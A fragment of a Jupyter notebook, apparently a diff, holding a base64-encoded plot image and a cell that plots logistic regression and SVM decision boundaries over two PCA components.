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+ }, + "metadata": {} + } + ], + "source": [ + "# min and max values \n", + "xmin, xmax = X_pca[:, 0].min() - 2, X_pca[:, 0].max() + 2\n", + "ymin, ymax = X_pca[:, 1].min() - 2, X_pca[:, 1].max() + 2\n", + "# Creating a mesh region where the boundary will be plotted\n", + "xx, yy = np.meshgrid(np.arange(xmin, xmax, 0.2),\n", + " np.arange(ymin, ymax, 0.2))\n", + "## Fitting LR model on 2 features\n", + "lr.fit(X_pca, y)\n", + "## Fitting SVM model on 2 features\n", + "svm.fit(X_pca, y)\n", + "## Plotting decision boundary for LR\n", + "z1 = lr.predict(np.c_[xx.ravel(), yy.ravel()])\n", + "z1 = z1.reshape(xx.shape)\n", + "\n", + "## Plotting decision boundary for SVM\n", + "z2 = svm.predict(np.c_[xx.ravel(), yy.ravel()])\n", + "z2 = z2.reshape(xx.shape)\n", + "\n", + "# Displaying the result\n", + "plt.contourf(xx, yy, z1, alpha=0.4) # LR\n", + "plt.contour(xx, yy, z2, alpha=0.4, colors = 'blue') # SVM\n", + "sns.scatterplot(X_pca[:,0], X_pca[:,1], hue = y_train, s = 50, alpha = 0.8)\n", + "plt.title('Linear models - LogReg and SVM')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + 